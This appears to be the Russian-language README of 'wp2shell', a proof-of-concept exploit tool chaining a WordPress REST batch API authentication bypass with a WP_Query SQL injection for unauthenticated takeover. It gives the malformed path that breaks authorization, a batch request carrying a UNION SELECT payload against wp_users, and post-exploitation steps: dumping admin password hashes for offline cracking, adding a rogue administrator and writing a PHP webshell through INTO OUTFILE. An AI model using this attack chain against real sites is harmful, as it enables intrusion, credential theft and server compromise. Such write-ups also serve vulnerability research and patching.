Pre-auth RCE proof-of-concept, объединяющий обход аутентификации WordPress REST batch API с SQL-инъекцией WP_Query для дампа хешей, добавления администраторов или установки веб-шелла.
Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Только для авторизованного тестирования на проникновение и исследований в области безопасности. Запуск этого инструмента против систем без письменного разрешения является незаконным. Авторы не несут ответственности за неправомерное использование.
wp2shell — это proof-of-concept эксплойт, объединяющий две независимо обнаруженные уязвимости для достижения неаутентифицированного удалённого выполнения кода на непатченных установках WordPress.
| CVE | Компонент | Класс | Требуется аутентификация |
|---|---|---|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Рассинхронизация массива → обход аутентификации | Нет |
| CVE-2026-60137 | WP_Query | SQL-инъекция через author__not_in | Нет (обходится вышеуказанной) |
Конечный результат: шелл на машине, создание вредоносной учётной записи администратора или дамп хеша учётных данных — всё это из одного неаутентифицированного POST-запроса.
Уязвимые версии: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Исправлено в: WordPress 6.9.5 / 7.0.2 (патч выпущен одновременно с координированным раскрытием)
WordPress 5.6 представил эндпоинт пакетной обработки по адресу /wp-json/batch/v1. Он позволяет аутентифицированным REST-клиентам объединять несколько подзапросов в один HTTP-обмен. Каждый подзапрос независимо валидируется и обрабатывается методом WP_REST_Server::serve_batch_request_v1().
Внутри serve_batch_request_v1() (упрощённо):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Цикл 1: Валидация ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Ошибка: добавляем WP_Error в $responses — но НЕ в $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── пропускает добавление в $matches
}
// Успех: разрешаем аутентификацию/права для этого пути
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── сохраняется по последовательному индексу массива
$responses[] = null; // <─── заполнитель по тому же индексу
}
// === Цикл 2: Отправка ===
foreach ($matches as $j => $match) {
// $j начинается с 0 — но если request[0] завершился ошибкой, $matches[0] на самом деле request[1]
$responses[$j] = $this->dispatch($match); // <─── отправляется с неправильным контекстом
}
Ожидается, что два массива ($responses и $matches) остаются синхронизированными — одна запись на подзапрос, одинаковый индекс. Когда подзапрос [0] не проходит wp_parse_url(), он добавляет запись в $responses, но не в $matches. После первого цикла:
$responses = [ WP_Error, null ] ← индекс 0 = ошибка, индекс 1 = заполнитель
$matches = [ match_for_req1 ] ← индекс 0 = match для request[1]
Затем цикл 2 отправляет $matches[0] и записывает результат в $responses[0]. Он отправляет request[1], но перезаписывает индекс 0 в responses — и, что критично, использует контекст прав, вычисленный в рамках обработки ошибки неудачного request[0], а не контекст прав для целевого эндпоинта.
Практический эффект: любой эндпоинт, требующий аутентификации (включая эндпоинты, выполняющие SQL-запросы), может быть вызван без учётных данных.
"path": "://\x00" # вызывает wp_parse_url() → false
Строка ://\x00 является допустимой строкой Python, но недопустимым URL в обёртке wp_parse_url() PHP (нулевой байт вызывает сбой парсинга, возвращая false, а не WP_Error, что делает проверку is_wp_error() бесполезной — только $parsed === false перехватывает это, и к этому моменту выравнивание массива уже нарушено).
author__not_in в WP_QueryREST API WordPress для записей (/wp/v2/posts) предоставляет параметр запроса author_exclude, который напрямую сопоставляется с аргументом author__not_in в WP_Query. WP_Query — это основная абстракция базы данных, используемая почти для каждого запроса контента в WordPress.
В WP_Query::parse_query() (упрощённо):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() преобразует каждый элемент в безопасное неотрицательное целое число
}
// Если НЕ массив → этот блок полностью пропускается
// $author__not_in используется дословно в построителе запросов:
Далее в WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// сырая строка вставляется в SQL без экранирования
}
Санитизация срабатывает только когда $author__not_in является массивом. Система типов PHP определяет это на основе того, как пришло значение:
[1, 2, 3] → is_array() = true → санитизируется"1,2,3" (строку) → is_array() = false → не санитизируетсяREST-эндпоинт принимает author_exclude из строки запроса URL. Оно приходит как строка. WP_Query пропускает блок санитизации, и сырое значение интерполируется в SQL-условие WHERE.
Точка инъекции попадает в контекст NOT IN (...):
-- Обычный запрос:
WHERE post_author NOT IN (1)
-- С полезной нагрузкой: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Поскольку пакетный эндпоинт отправляет подзапрос как часть более крупного результата запроса, строки UNION возвращаются в теле JSON-ответа REST, что делает это Boolean/UNION слепым извлечением — без таймингов, без out-of-band.
Атакующий (без учётных данных)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] некорректный URL: вызывает рассинхронизацию
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] полезная нагрузка SQLi
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] не проходит wp_parse_url() → $responses[0] = WP_Error
│ НЕТ добавления в $matches
├─ Request[1] сопоставляется с маршрутом → $matches[0] = route
└─ Цикл 2 отправляет $matches[0] с неправильным контекстом аутентификации
│
▼
WP_Query получает author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → санитизация пропущена
└─ Сырой SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL выполняет UNION-запрос → данные wp_users в результате SELECT
│
▼
JSON-ответ REST содержит user_login + user_pass в полях записи
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Постэксплуатация (любое из): │
│ • Дамп хеша администратора → офлайн-взлом с hashcat │
│ • INSERT вредоносного администратора через stacked-запросы │
│ • SELECT ... INTO OUTFILE → PHP-вебшелл → доступ к ОС │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Установка зависимостей:
pip install requests cloudscraper